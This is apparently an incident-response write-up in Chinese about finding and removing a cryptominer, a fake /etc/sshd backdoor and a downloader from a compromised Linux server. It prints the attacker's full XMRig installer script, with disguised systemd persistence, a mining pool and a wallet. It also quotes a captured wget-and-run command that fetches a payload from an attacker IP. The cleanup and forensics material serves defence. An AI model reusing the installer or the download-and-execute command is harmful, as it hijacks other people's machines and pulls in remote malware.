状况与这个相同: https://www.huntress.com/blog/peerblight-linux-backdoor-exploits-react2shell 在不能马上重装系统时,检查和临时修复的记录如下
一. 发现恶意脚本
发现CPU占用过高,找到恶意脚本
#!/bin/bash
# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
SERVICE_NAME="system-update-service"
ARGS="--url pool.supportxmr.com:8080 --user 85UXW36JS78ZzZUw4XRJ1mHEsMAc6vHr2hBU7rvRv9y44Uk4Vo9fyq6LFDuckHZb2HTZpcYYaDdd73jS1oywAndGJxmKP9X --pass test --donate-level 0"
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
# Determine binary path based on privileges
if [ "$(id -u)" -eq 0 ]; then
INSTALL_DIR="/usr/share/updater"
CONFIG_FILE="$INSTALL_DIR/miner.conf"
else
INSTALL_DIR="$(pwd)"
CONFIG_FILE="$(pwd)/miner.conf"
fi
BINARY_PATH="$INSTALL_DIR/$EXTRACT_DIR/xmrig"
# Function to create/update configuration file
save_config() {
cat > "$CONFIG_FILE" <<EOF
BINARY_PATH=$BINARY_PATH
ARGS=$ARGS
SERVICE_NAME=$SERVICE_NAME
EOF
echo "[*] Configuration saved to $CONFIG_FILE"
}
# Function to load configuration
load_config() {
if [ -f "$CONFIG_FILE" ]; then
source "$CONFIG_FILE"
echo "[*] Configuration loaded from $CONFIG_FILE"
fi
}
# First, check if root and move existing installation from pwd to /usr/share/updater
if [ "$(id -u)" -eq 0 ] && [ -d "$(pwd)/$EXTRACT_DIR" ] && [ ! -d "$INSTALL_DIR/$EXTRACT_DIR" ]; then
echo "[*] Found existing installation in $(pwd). Moving to $INSTALL_DIR..."
mkdir -p "$INSTALL_DIR"
mv "$(pwd)/$EXTRACT_DIR" "$INSTALL_DIR/" 2>/dev/null || true
if [ -f "$(pwd)/$TAR_FILE" ]; then
rm -f "$(pwd)/$TAR_FILE"
fi
if [ -f "$(pwd)/miner.conf" ]; then
mv "$(pwd)/miner.conf" "$INSTALL_DIR/miner.conf" 2>/dev/null || true
fi
fi
# Check if already installed
ALREADY_INSTALLED=0
if [ -f "$BINARY_PATH" ]; then
ALREADY_INSTALLED=1
echo "[*] Installation detected. Loading existing configuration..."
load_config
fi
# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
echo "[*] Downloading xmrig..."
# Extract in temp location first
TEMP_DIR=$(mktemp -d)
cd "$TEMP_DIR"
curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
echo "[*] Extracting archive..."
tar xvzf "$TAR_FILE"
# Move to install directory if root
if [ "$(id -u)" -eq 0 ]; then
echo "[*] Moving to $INSTALL_DIR..."
mkdir -p "$INSTALL_DIR"
mv "$EXTRACT_DIR" "$INSTALL_DIR/"
else
# For non-root, move to current directory
cd - > /dev/null
mv "$TEMP_DIR/$EXTRACT_DIR" "$(pwd)/$EXTRACT_DIR"
fi
rm -rf "$TEMP_DIR"
save_config
else
echo "[*] Binary already exists at $BINARY_PATH"
fi
chmod +x "$BINARY_PATH"
# If already installed, update systemd service if it exists
if [ $ALREADY_INSTALLED -eq 1 ]; then
echo "[*] Updating existing installation..."
# Check if service exists and update it
if [ -f "$SERVICE_FILE" ]; then
echo "[*] Found existing systemd service. Updating..."
# Stop the service before updating
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "[*] Stopping service..."
systemctl stop "$SERVICE_NAME"
fi
# Update service with new arguments
cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
echo "[*] Service configuration updated"
# Restart the service
systemctl start "$SERVICE_NAME"
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "[+] Service restarted successfully"
fi
else
# Service doesn't exist yet, continue with normal installation
echo "[*] No systemd service found. Proceeding with initial setup..."
ALREADY_INSTALLED=0
fi
fi
# Attempt systemd setup (for new installations)
if [ $ALREADY_INSTALLED -eq 0 ]; then
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
echo "[*] Root privileges detected. Attempting systemd setup..."
cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable "$SERVICE_NAME"
systemctl start "$SERVICE_NAME"
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "[+] Service started via systemd."
INSTALLED_SYSTEMD=1
save_config
fi
fi
# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
echo "[*] Starting with nohup..."
nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
save_config
fi
fi
这个脚本会在服务器上安装并运行 XMRig(一种常见的门罗币/Monero 挖矿软件),并试图通过伪装成系统服务来隐藏自己。
以下是该脚本对你系统的具体影响分析,以及彻底清除它的步骤。
1.1. 脚本行为分析 (它做了什么?)
- 伪装性: 它将自己命名为
system-update-service(系统更新服务),试图让你在检查系统服务时以为它是合法的系统进程。 - 资源消耗: 它下载并运行
xmrig。这会占用你服务器 100% 的 CPU 资源,导致服务器变得极慢、卡顿,甚至因过热而宕机。 - 持久化(开机自启):
- 如果你是
root用户:它会在/etc/systemd/system/下创建一个服务文件,确保每次服务器重启后,挖矿程序都会自动运行。 - 如果不是
root用户:它会使用nohup在后台静默运行。
- 如果你是
- 安装位置:
- Root 用户: 文件被隐藏在
/usr/share/updater/目录下。 - 普通用户: 文件在当前目录下。
- Root 用户: 文件被隐藏在
- 挖矿配置: 它连接到
pool.supportxmr.com矿池,并将挖到的加密货币发送到攻击者的钱包地址(脚本中的85UXW...)。
1.2. 清除步骤
请按照以下顺序在终端中执行命令。建议使用 root 权限或 sudo 执行。
第一步:停止并删除恶意服务
如果脚本是以 root 权限运行的,它注册了系统服务。我们需要先停止它。
# 停止伪装的服务
sudo systemctl stop system-update-service
# 禁止开机自启
sudo systemctl disable system-update-service
# 删除服务配置文件
sudo rm /etc/systemd/system/system-update-service.service
# 重载系统服务配置
sudo systemctl daemon-reload
第二步:杀死所有相关进程
即使服务停止了,后台可能还有残留进程(特别是如果它通过 nohup 运行的话)。
# 强制杀塞名为 xmrig 的进程
sudo pkill -9 xmrig
# 再次检查是否还有占用高 CPU 的进程
top
# (按 'q' 退出 top)
第三步:删除恶意文件
根据脚本逻辑,文件可能存在于两个位置。我们需要全部清理。
# 1. 清理 Root 安装目录 (脚本中定义的 INSTALL_DIR)
sudo rm -rf /usr/share/updater
# 2. 清理当前目录下的残留 (如果你是在某个特定目录下发现这个脚本的)
# 注意:请确保你在发现该脚本的目录下执行,或者手动检查该目录
rm -rf xmrig-6.24.0
rm -f kal.tar.gz
rm -f miner.conf
rm -f xmrig
第四步:检查定时任务 (Crontab)
很多此类脚本会通过定时任务(Crontab)来“复活”。如果它发现进程被杀了,会重新下载运行。
# 检查 root 用户的定时任务
sudo crontab -l
# 检查当前用户的定时任务
crontab -l
如果看到任何可疑的、带有 curl、wget 或指向该脚本路径的任务,请使用 crontab -e 命令进入编辑模式并删除那一行。
1.3. 安全警告与后续建议 (非常重要)
这个脚本出现在服务器上,意味着服务器已经被入侵了。 仅仅删除脚本可能只是治标不治本。
攻击者通常通过以下方式进入:
- 弱密码: SSH 密码太简单,被暴力破解。
- 漏洞: 服务器上的某个软件(如 Redis, Docker, Web服务)存在未修复的漏洞。
- 泄露的密钥: 你的 SSH 密钥可能已泄露。
建议立即采取以下措施:
- 修改密码: 立即修改服务器的
root密码和所有用户密码。 - 检查 SSH 授权: 查看
~/.ssh/authorized_keys文件。- 运行
cat ~/.ssh/authorized_keys。 - 如果发现任何你不认识的公钥,立即删除! 这是黑客留下的后门,方便他们无需密码再次登录。
- 运行
- 配置防火墙: 确保只开放必要的端口(如 80, 443),限制 SSH (22) 端口的访问来源。
- 最安全的做法: 如果服务器上有重要数据,备份数据后,重装系统。因为你无法确定攻击者是否留下了其他更隐蔽的后门(如替换了系统二进制文件)。
二. 修改使用hosts文件,屏蔽 supportxmr.com
2.1. 追加规则
你可以直接复制以下命令在终端运行,这会自动将屏蔽规则追加到 hosts 文件末尾:
# 屏蔽主域名和脚本中使用的子域名
echo "127.0.0.1 pool.supportxmr.com" | sudo tee -a /etc/hosts
echo "127.0.0.1 supportxmr.com" | sudo tee -a /etc/hosts
2.2. 验证是否生效
添加完成后,你可以尝试 ping 这个域名。如果它返回的是 127.0.0.1,说明屏蔽成功。
ping pool.supportxmr.com
预期输出示例:
PING pool.supportxmr.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.034 ms
(只要看到 IP 是 127.0.0.1,就说明它无法连接到真实的矿池了)
2.3. ⚠️ 重要提示
- 这只是阻断,不是清除: 这样做可以防止数据传输出去,但如果挖矿进程(
xmrig)还在运行,它仍然会尝试不断重连,这依然可能占用一定的 CPU 资源(虽然比全速挖矿要低)。请务必配合之前的清除步骤,将恶意文件彻底删除。 - DNS 缓存: 极少数情况下,系统可能会缓存旧的 DNS 结果。如果你发现它还在连,可以尝试重启服务器,或者重启网络服务。
- 其他矿池: 黑客可能会在脚本中更换其他矿池地址。修改 hosts 只能屏蔽当前已知的这个地址。最根本的解决办法还是修复系统漏洞(如加强 SSH 密码、配置防火墙)。
三. 清除可执行文件/etc/sshd
/etc/sshd 不是一个合法的 Linux 系统文件位置。
正常的 SSH 服务程序通常位于 /usr/sbin/sshd。位于 /etc/ 目录下的通常是配置文件(如 sshd_config),而不应该是可执行文件。
结论:这个 /etc/sshd 极有可能是黑客留下的后门(Backdoor)或者伪装成 SSH 服务的挖矿程序/木马。
以下是逐步分析该文件来源、性质以及它是如何进入你系统的技术手段:
3.1. 确认它不属于系统 (最直接的证据)
首先,我们需要确认这个文件不是通过正规渠道(如 apt/yum)安装的。
如果你是 Debian/Ubuntu 系统:
dpkg -S /etc/sshd预期结果:
dpkg-query: no path found matching pattern /etc/sshd(这意味着包管理器根本不知道这个文件的存在)如果你是 CentOS/RedHat 系统:
rpm -qf /etc/sshd预期结果:
file /etc/sshd is not owned by any package
3.2. 静态分析:它到底是什么?
不要直接运行它!我们可以通过工具查看它的内部信息。
A. 查看文件类型
file /etc/sshd
- 如果显示
ELF 64-bit LSB executable,说明它是一个二进制可执行程序(木马或挖矿软件)。 - 如果显示
ASCII text或shell script,它可能是一个恶意脚本。
B. 提取可读字符串 (关键步骤) 这能让你看到程序内部的文本,通常能发现IP地址、网址、挖矿配置或黑客留下的信息。
strings /etc/sshd | grep -E "http|https|[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" | head -n 20
- 看什么: 寻找类似
pool.supportxmr.com(之前的矿池)、奇怪的 IP 地址、xmrig字样、或者/bin/sh等命令。 - 注意: 如果输出很少或者是乱码,说明文件可能被“加壳”(Packed)了,这是恶意软件常用的隐藏手段。
C. 计算哈希值 (用于病毒库比对) 获取文件的指纹,去全球病毒库查询。
md5sum /etc/sshd
sha256sum /etc/sshd
- 操作: 复制生成的 SHA256 值,打开 VirusTotal.com,在 “Search” 栏粘贴搜索。如果它是已知的病毒或挖矿木马,这里会直接告诉你。
3.3. 时间线取证:它是何时出现的?
这是找出“来源”最有效的方法。我们需要查看文件的创建/修改时间,然后去系统日志里对比那个时间点发生了什么。
A. 查看文件时间戳
stat /etc/sshd
- 关注 Change 或 Modify 时间。记下这个精确的时间点(例如:2023-10-27 03:15:00)。
B. 对比系统安全日志 根据上面查到的时间,去翻看日志,看看那个时间点谁登录了系统,或者执行了什么命令。
- Ubuntu/Debian:
/var/log/auth.log - CentOS/RHEL:
/var/log/secure
# 假设文件修改时间是 10月27日 03:15,我们可以这样搜:
grep "Oct 27 03" /var/log/auth.log | grep "Accepted"
- 分析: 如果你在那个时间点看到一个陌生的 IP 地址通过 SSH 登录成功(Accepted password/publickey),那个 IP 就是攻击来源。
3.4. 动态分析:它在运行吗?
检查这个假冒文件是否正在运行,以及它在连接谁。
# 查看是否有进程在使用这个文件
lsof /etc/sshd
# 或者查看进程列表(注意区分 /usr/sbin/sshd 和 /etc/sshd)
ps -ef | grep sshd
- 警惕: 真正的 SSH 服务是
/usr/sbin/sshd。如果你看到/etc/sshd在运行,立即记下它的 PID(进程ID)。
3.5. 清除与补救建议
既然你已经发现了这个文件,且之前发现了挖矿脚本,情况已经很明朗:这是一次典型的自动化入侵。
- 杀死进程: 如果它在运行,
kill -9 <PID>。 - 删除文件:
# 为了防止它被锁定(chattr +i),先解锁 sudo chattr -i /etc/sshd sudo rm -f /etc/sshd - 检查启动项(非常重要): 黑客通常会把这个文件加入开机自启。检查
/etc/rc.local,/etc/init.d/,或者systemctl服务。grep -r "/etc/sshd" /etc/systemd/system/ grep -r "/etc/sshd" /etc/init.d/ cat /etc/rc.local
总结
这个 /etc/sshd 是为了混淆视听。黑客希望当你用 ps 查看进程时,看到 sshd 以为是正常的系统服务从而忽略它。
强烈建议: 由于黑客已经能够将可执行文件写入 /etc/ 目录(这需要 Root 权限),说明你的系统 Root 权限已经彻底沦陷。
虽然我们可以删除文件,但很难保证没有其他隐藏得更深的后门(例如替换了系统的 ls, ps, netstat 命令)。最安全、最彻底的方案是备份数据(仅备份代码和数据库,不要备份可执行文件),然后重装系统。
四. 进一步检查/etc/sshd
root@Server:/etc# grep -r "/etc/sshd" /etc/systemd/system/
/etc/systemd/system/system-sshd.service:ExecStart=/etc/sshd
root@Server:/etc# grep -r "/etc/sshd" /etc/init.d/
/etc/init.d/system-sshd:D="/etc/sshd"
root@Server:/etc# cat /etc/rc.local
#!/bin/bash
/etc/sshd &
exit 0
黑客为了防止你发现并删除病毒后它无法重启,在系统启动的三个不同层面都埋下了启动指令。只要漏掉一个,下次重启服务器,病毒就会“复活”。
以下是你的发现意味着什么,以及如何彻底清理:
4.1. 现状分析
- Systemd 服务 (
/etc/systemd/system/system-sshd.service): 这是现代 Linux 系统主要的服务管理方式。黑客把它伪装成类似系统服务的名字。 - SysVinit 脚本 (
/etc/init.d/system-sshd): 这是老式的启动脚本,用于兼容旧系统或作为备用启动手段。 - rc.local (
/etc/rc.local): 这是系统启动最后阶段执行的脚本。黑客直接把/etc/sshd &写在这里,简单粗暴地强制后台运行。
4.2. 彻底清除步骤 (请按顺序执行)
请复制以下命令在终端中执行(需要 root 权限):
第一步:停止并禁用恶意服务
先让它停下来,并切断 Systemd 的启动链。
# 停止服务
systemctl stop system-sshd
# 禁用开机自启
systemctl disable system-sshd
# 杀死可能还在运行的进程 (强制)
pkill -9 -f "/etc/sshd"
第二步:清理 Systemd 服务文件
# 删除服务配置文件
rm -f /etc/systemd/system/system-sshd.service
# 重载配置,让系统知道服务没了
systemctl daemon-reload
第三步:清理 Init.d 脚本
# 删除 init.d 下的脚本
rm -f /etc/init.d/system-sshd
# (针对 Debian/Ubuntu 系统) 清理旧的启动链接
update-rc.d system-sshd remove 2>/dev/null || true
# (针对 CentOS/RHEL 系统)
chkconfig --del system-sshd 2>/dev/null || true
第四步:修复 /etc/rc.local
我们需要把那行恶意代码从文件中删掉,保留其他可能正常的内容(如果有的话)。
# 备份一下(虽然是中毒文件,但备份是个好习惯)
cp /etc/rc.local /etc/rc.local.bak
# 使用 sed 命令删除包含 "/etc/sshd" 的行
sed -i '/\/etc\/sshd/d' /etc/rc.local
# 检查一下是否清理干净
cat /etc/rc.local
确认输出中不再包含 /etc/sshd。
第五步:删除核心恶意文件
这是最后一步,彻底删除那个伪装的可执行文件。
# 防止黑客加了“不可修改”属性 (chattr +i),先尝试解锁
chattr -i /etc/sshd
# 删除文件
rm -f /etc/sshd
验证清理结果
执行完上述步骤后,建议进行以下检查:
检查进程:
ps -ef | grep sshd- 你应该只看到
/usr/sbin/sshd(正常的 SSH 服务),不应该再看到/etc/sshd。
- 你应该只看到
检查文件是否存在:
ls /etc/sshd- 应该提示
No such file or directory。
- 应该提示
重启验证 (强烈建议): 如果业务允许,执行
reboot重启服务器。重启后再次检查进程,确保病毒没有“复活”。
再次警告
既然黑客已经修改了 /etc/rc.local 和 /etc/init.d/,这再次证实了他们拥有完全的 Root 权限。
- 立即修改 Root 密码。
- 检查是否有其他异常账户: 查看
/etc/passwd,看是否有你不认识的用户(特别是 UID 为 0 的用户)。 - 检查 SSH Key: 再次强调,检查
~/.ssh/authorized_keys,黑客非常喜欢在这里留后门。
五. 清除可疑账户admin
注意使用 usermod -L admin 锁定账户后,仍然可以通过密钥能登录
这是一个非常常见的安全误区。usermod -L (Lock) 的作用仅仅是在 /etc/shadow 文件中的密码哈希前加一个感叹号 !。这只禁用了密码登录。
由于 SSH 密钥认证(Public Key Authentication)是绕过密码验证的,因此只要黑客把他的公钥放到了 admin 用户的 ~/.ssh/authorized_keys 文件里,他依然可以畅通无阻地进入系统。
如何彻底禁止 admin 用户登录?
针对你目前服务器被入侵的情况,建议使用以下任意一种(或组合)方法来彻底封禁该用户:
A. 修改 Shell 为 nologin(推荐)
这是最标准、最有效的禁用账户方法。它允许系统保留该用户的文件(以备取证),但禁止该用户获得任何 Shell 访问权限。
sudo usermod -s /sbin/nologin admin
- 效果: 无论对方是用密码还是 SSH 密钥,连接时都会立刻被踢出,并显示 “This account is currently not available”。
B. 暴力清除 SSH 密钥(针对入侵场景)
既然你怀疑这个用户有问题,直接删除他的信任密钥库。
# 清空该用户的 authorized_keys
sudo > /home/admin/.ssh/authorized_keys
# 或者直接删除 .ssh 目录(更彻底)
sudo rm -rf /home/admin/.ssh
C. 在 SSH 配置中明确拒绝
修改 /etc/ssh/sshd_config 文件,添加黑名单。
- 编辑文件:
sudo nano /etc/ssh/sshd_config - 在文件末尾添加:
DenyUsers admin - 重启 SSH 服务:
sudo systemctl restart sshd
总结建议
鉴于服务器之前发现了挖矿脚本和 /etc/sshd 后门:
- 立即执行方法一 (
usermod -s /sbin/nologin admin)。 - 检查 admin 用户是否是黑客创建的: 如果你本来没有
admin这个用户,或者你不使用它,建议直接删除:
(注意:sudo userdel -r admin-r会同时删除该用户的家目录文件,如果你需要保留文件取证,请先备份)
六. 安全警告处理
收到安全警告:
用户名
root
命令行
/bin/sh -c wget http://185.196.9.41:19191/uamd642 -O /tmp/um2 && chmod +x /tmp/um2 && /tmp/um2 && rm -f /tmp/um2
进程ID
556667
父进程ID
555041
进程链
-[729] /bin/systemd-daemon --user
-[555038] /tmp/xxvvxx
-[555039] /tmp/xxvvxx
-[555040] /tmp/xxvvxx
-[555041] /tmp/xxvvxx
root@Server:~# ps -ef |grep 729
root 729 1 0 Dec06 ? 00:00:11 /bin/systemd-daemon --user
root 555038 729 0 Dec10 ? 00:00:00 [xxvvxx] <defunct>
root 563963 562517 0 10:23 pts/0 00:00:00 grep 729
r
这表明服务器上有一个母体病毒进程(PID 729),它正在不断地尝试从远程黑客服务器(185.196.9.41)下载新的病毒变种并执行。
核心问题分析:
- 伪装的母体:
/bin/systemd-daemon是一个伪装的恶意文件。正常的 Linux 系统中,systemd 的路径通常是/lib/systemd/systemd或/usr/lib/systemd/systemd,绝对不会在/bin下叫systemd-daemon。 - 进程链: 这个伪装进程 (PID 729) 衍生出了
xxvvxx(随机命名的恶意进程),然后xxvvxx调用wget下载新的木马。 - 持久化: PID 729 的父进程是 1 (init/systemd),且启动时间是 Dec 06,说明它已经作为系统服务运行了好几天了。
紧急处理步骤
请立即按顺序执行以下操作,切勿拖延:
1. 处决母体进程
必须先杀掉这个伪装的 systemd-daemon,否则它会无限重启下载任务。
# 强制杀死 PID 729
kill -9 729
# 再次确认是否还有名为 systemd-daemon 的进程
ps -ef | grep systemd-daemon
2. 删除恶意母体文件
既然确认它是病毒,立即删除。
# 查看文件属性(可能会看到 immutable 属性)
lsattr /bin/systemd-daemon
# 解锁文件(如果被锁住的话)
chattr -i /bin/systemd-daemon
# 删除文件
rm -f /bin/systemd-daemon
3. 清理残留进程
xxvvxx 是衍生的子进程,也需要清理。
# 杀死所有名为 xxvvxx 的进程
pkill -9 xxvvxx
# 杀死所有名为 um2 的进程(这是下载下来的新病毒)
pkill -9 um2
4. 封锁恶意 IP
黑客的下载服务器是 185.196.9.41,在防火墙层面直接封死它。
# 使用 iptables 封禁出口和入口
iptables -I INPUT -s 185.196.9.41 -j DROP
iptables -I OUTPUT -d 185.196.9.41 -j DROP
5. 清理 /tmp 目录
病毒通过 wget 下载到了 /tmp 目录。虽然命令中有 rm -f,但为了保险,手动检查一下。
ls -al /tmp/
# 如果看到 um2, xxvvxx 或其他可疑文件,全部删除
rm -f /tmp/um2
rm -f /tmp/xxvvxx
溯源与根除 (如何防止复活)
既然 PID 729 的父进程是 1,说明它被配置成了开机自启的服务。你刚才删除了文件,但配置文件还在。
必须找到它是怎么启动的:
检查 Systemd 服务: 搜索包含该路径的服务文件:
grep -r "/bin/systemd-daemon" /etc/systemd/system/ grep -r "/bin/systemd-daemon" /usr/lib/systemd/system/如果找到(例如叫
system-daemon.service),请执行:systemctl stop <服务名> systemctl disable <服务名> rm <文件路径> systemctl daemon-reload检查 Cron 定时任务: 黑客可能通过 Cron 每分钟检查一次母体是否存活。
grep -r "systemd-daemon" /var/spool/cron/ grep -r "185.196.9.41" /var/spool/cron/检查 /etc/init.d/:
ls -l /etc/init.d/ | grep systemd-daemon
总结
服务器目前处于**“僵尸网络肉鸡”**状态。
- 之前的
xmrig是挖矿。 /etc/sshd是后门。- 现在的
/bin/systemd-daemon是下载器/Dropper。
这说明黑客植入了多套恶意软件。再次强烈建议:在备份重要数据后,重装系统是唯一能确保 100% 安全的方案。 如果不能重装,请务必仔细执行上述所有清理步骤,并安装 ClamAV 等杀毒软件进行全盘扫描。



